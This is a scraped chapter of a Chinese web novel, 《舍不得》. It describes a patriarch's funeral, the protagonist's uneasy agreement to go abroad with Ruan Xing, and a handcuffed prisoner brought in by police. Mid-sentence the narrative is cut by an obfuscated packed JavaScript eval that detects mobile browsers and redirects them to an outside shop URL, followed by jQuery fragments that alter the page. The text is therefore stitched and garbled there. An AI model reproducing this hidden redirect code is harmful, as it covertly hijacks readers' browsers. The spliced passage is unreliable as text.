82.葬礼

作品:《舍不得

    闻庭屹的葬礼被选在了一个阴天举行。


    其实本来是打算选个晴空万里的天气的,但掐着天气预报选好的日子,也不知是巧合,还是因为闻庭屹这一生犯下的罪孽太多,偏偏天空不作美,老天也不愿给他一个好脸色。


    闻氏庄园内,闻叙白以“阮叙”的身份出席葬礼,与一众前来悼唁的宾客一起双手合十,低声默念着经词。


    灵堂之上,黄白两色菊花之间围着的黑白相框之中,闻庭屹笑容慈祥和善,俨然一个善祥一生的老人,在看着满堂之中,自己的子孙亲友,送他最后一乘。面前是供奉的水果花朵,照片正中央,是个插满香烛的插香炉。


    袅袅香烟飞起,遮盖住闻庭屹的眉眼,整个灵堂之内,都充斥着沉香馥郁浓厚的香味。一旁专门从寺庙内请来的得道高僧,正一手攥着佛珠,嘴唇耸动,不停默念着什么。


    闻叙白不动声色地扫过堂内,有很多都是老面孔。


    闻庭屹生前涉猎广泛,权力横跨各个领域,故而今天来的宾客之中,除了与闻家生意来往密切的几位商界大佬,以及他们的亲眷以外,还有警、政、娱界的不少知名人物。


    其中,就有市公安局局长——郑民。


    这个人,也是当初调查阮清车祸案的主要负责人之一,闻叙逸这么多年几次犯事脱险,也没少沾他的光。


    其实商警两届最忌走的太近,生怕一有什么事,就会被群众抗议说有“庇护伞”,挑起群众的厌富仇权心理。


    可谁叫闻庭屹会装呢?


    有一说一,他这戎马一生,在慈善界以各种名义投下的资产,怕是足以买下一个规模不大不小的公司了,再加上媒体的各种夸张渲染,老爷子到现在,都一直是以一个极其正面的形象出现在公众面前的。


    甚至于老爷子这次突然去世,还在网上掀起了不小风波,不少他的拥护者都在社交账号下痛哭流涕,一把鼻涕一把泪地表达自己的敬佩与惋惜,伤心的如同死的是自己爹一样。


    如今庄园外,还围着不少自发前来吊唁的民众,以及各大闻声赶来的媒体记者,都争着抢着想要拍下老爷子最后的照片。只要今天这个葬礼一结束,只怕是不出一个小时,各种报道就会满天飞了。


    今天这些各界大佬愿意纡尊降贵前来,只怕也是悼念为假,真正的目的,不过是想在媒体面前打一波感情牌,蹭一下闻庭屹的热度罢了。


    当真是连死人都不放过。


    闻叙白面无表情地扫了灵台上的一眼。


    台前,秦雅琳正捂着手帕抽泣不已。自从闻叙逸入狱之后,秦雅琳一夜之间就满头白发,紧致的皮肤在短短几个月之间迅速衰老,原本珠圆玉润的身材也迅速萎缩,眉下一片青紫,在没了打扮的心思,如同一具行尸走肉一般,双眼空洞,瘦弱的身躯摇摇欲坠,全靠一旁的闻叙适扶着,才能勉强站稳脚跟,却还是如同下一秒就要昏厥过去一般。


    感受到目光,站在秦雅琳身后的齐最抬起头来,与闻叙白遥遥对视。


    视线交接的一刹那,闻叙白瞳孔颤了颤,随即若无其事地低下头去,装作一切都没发生。


    现在不是惺惺相惜的时候,这里有太多双眼睛盯着他们,最好面对的方式,就是装作两人并不相熟。


    齐最也明白,他们如今的身份不可能光明正大的站在大庭广众之下,故而也只是眸光沉了沉,随即收回视线。


    闻叙迟与闻叙适都在,唯独缺了闻叙远。


    他如今当真是一心都扑在阮云身上了,连自己亲爹的葬礼都不来参加,显然也完全不在意自己在媒体面前的形象了。不用想也知道,媒体定会拿这件事情大作文章。


    许是以前这种麻烦事情处理多了,闻叙白竟下意识地有些头疼。今天站了太久,腿也有点发酸。


    冷淡的眉头微微蹙起,闻叙白掐着大腿保持清醒。


    如今闻家怎样,再也与他无关了。


    正想着,却忽听耳边传来一道低沉的声音:“累了?”


    闻叙白闻声望去,是阮行。


    心脏一沉,他迅速变回原本的面无表情,镇定自若道:“没有。”


    阮行眸光动了动。


    闻叙白现在有些不知道该怎么面对眼前的这个男人,毕竟在知道了他全部的阴谋之后,两人的关系已经不可能再回到从前了,虽然他没有在阮行面前表现出什么,但以阮行的聪明程度,怕是已经猜出一二了。


    想到这,闻叙白勉强勾起了一点嘴角,低声道:“你不累吗?”


    他只能寄希望于比阮行更快一步,在他真正完全发现两人的计划之前,与齐最离开。而现在,他需要安抚他,以此来尽量拖延时间。


    谁料,阮行闻言,也只是笑了一下,然后转移了话题,“你去看过小云了吗?”


    阮云?为什么突然问这个?


    闻叙白有点奇怪,却坦然的点了点头:“隔窗看过一次,闻叙远在里面守着,我进不去。”


    阮行有着轻微细纹的眼角竟忽然弯起,笑意清浅,缓缓道:“小白,等过段时间,跟我一起去美国吧?”


    闻叙白心脏一震,诧异地看向眼前人。


    阮行笑道:“小云的情况最近好了不少,我想带他去美国,接受最好的治疗。跟我一起走,好吗?”


    闻叙白竟觉有些不知所措。


    这是阮行第一次用请求的语气对他说话。


    毕竟以阮行这么不可一世的一个人,纵使总是一副笑眯眯的样子,却也从未有人敢违抗他的指令。


    阮行“笑面虎”的面具之下,是一颗绝不心慈手软的心。故而他若是想要或想干什么,甚至不用发号施令,只要开了口,闻叙白就必去不可。


    可他竟然来问闻叙白的意见?


    内心似有什么在翻腾,闻叙白望着阮行闪动的眼眸,心情忽然很复杂。


    他其实很想问问阮行:为什么要带上他?


    是不是发现了什么?


    可到嘴的话


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650003|178739||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却偏偏问不出口,熟悉的被盯梢感再度传来,闻叙白竟觉有些如芒在背。


    半晌,他垂下眸,有缓缓抬起,直视着阮行的眼睛,道:“好。”


    话音落下的一瞬间,他便看到了阮行眼中扬起的笑意。


    闻叙白挪开目光,转而看见台前的齐最已经低下头,仿若刚才他被注视的感受,都只是一种错觉一般。


    旁边的圣僧还在不停的念着经词,手上的佛珠越转越快,细如蚊呐的声音也越来越密集,悉悉窣窣的,无端令闻叙白有些烦躁。


    台前的闻叙适忽然转头,不知跟闻叙迟说了什么,随即扶着秦雅琳的人,就变成了之前一直一言不发的齐最,而闻叙适则默默消失在了影影绰绰的人群之中。


    今日的葬礼,因为闻叙远不在,全权都是由闻叙适办理的。闻庭屹晚年信佛,临终前曾多次在媒体前说过,想要超度永生,如今依着佛礼举办仪式,倒也是顺了他的心意。


    闻叙白无心去管闻叙适要去干嘛,他只觉这灵堂之中闷极了,每一次呼吸,都如同有沙砾吸进肺腑一般,令他胸腔疼痛不已。


    如果齐最在他旁边就好了。


    一个念头猛然浮上心头。


    连闻叙白自己都被这想法给惊了一下。


    齐最就在他眼前,在他随时一抬眼就可以看到的地方······可他却莫名的想要更贪心一点,想要齐最站在他身边,握住他的手,对他说曾经对他说过无数次的那句好:“我在。”


    心脏狂跳不止,闻叙白赶紧抿住唇,压下心中因忽然开始躁动不安而带来的刺痛。


    恰在此刻,堂外忽有躁动声传来,伴随着汽车鸣笛的轰鸣声,由远及近传来。


    堂内专心念经的众人,都被这突如其来的动静吓了一跳,不约而同的转头向门外望去,神色一个比一个诡异,唯有公安局局长郑民,一脸淡定。


    闪着红蓝相间的光芒的车辆,在众目睽睽之中停在灵堂之前,虽然没有了震耳欲聋的鸣笛声,可他实在太过显眼的标志,还是让在场的任何人在看清时,都为之一惊。


    “咔哒”两声,从前后车上都分别下来一个身穿藏蓝色制服的警官,神情肃穆的打开后座车门,扶着腰上枪支,严阵以待地引出车内人。


    “哒——哒——”一双破了好几个洞的破球鞋出现在众人面前,车内人缓缓探出头来,身前的银色手腕叮铃咣啷发出声响,甫一探出身来,就立马把一左一右两个严肃的警察给架住了手。


    头发杂乱的男人缓缓抬起头来,露出满脸未刮的胡须,以及那一双——充满恐慌的空洞眼睛。


    在看清那人容貌的一瞬间,在场人迅速瞳孔瞪大,闻叙白心中猛地一震,不自觉地向前一步,却被身后一双大手给拉住了。


    闻叙白蓦然回头,嘈杂的人群之中,齐最对他摇了摇头。


    下一秒,一道尖利的女声划破天际,撕心裂肺的叫喊声冲刺着所有人的耳膜:


    “小逸!!!”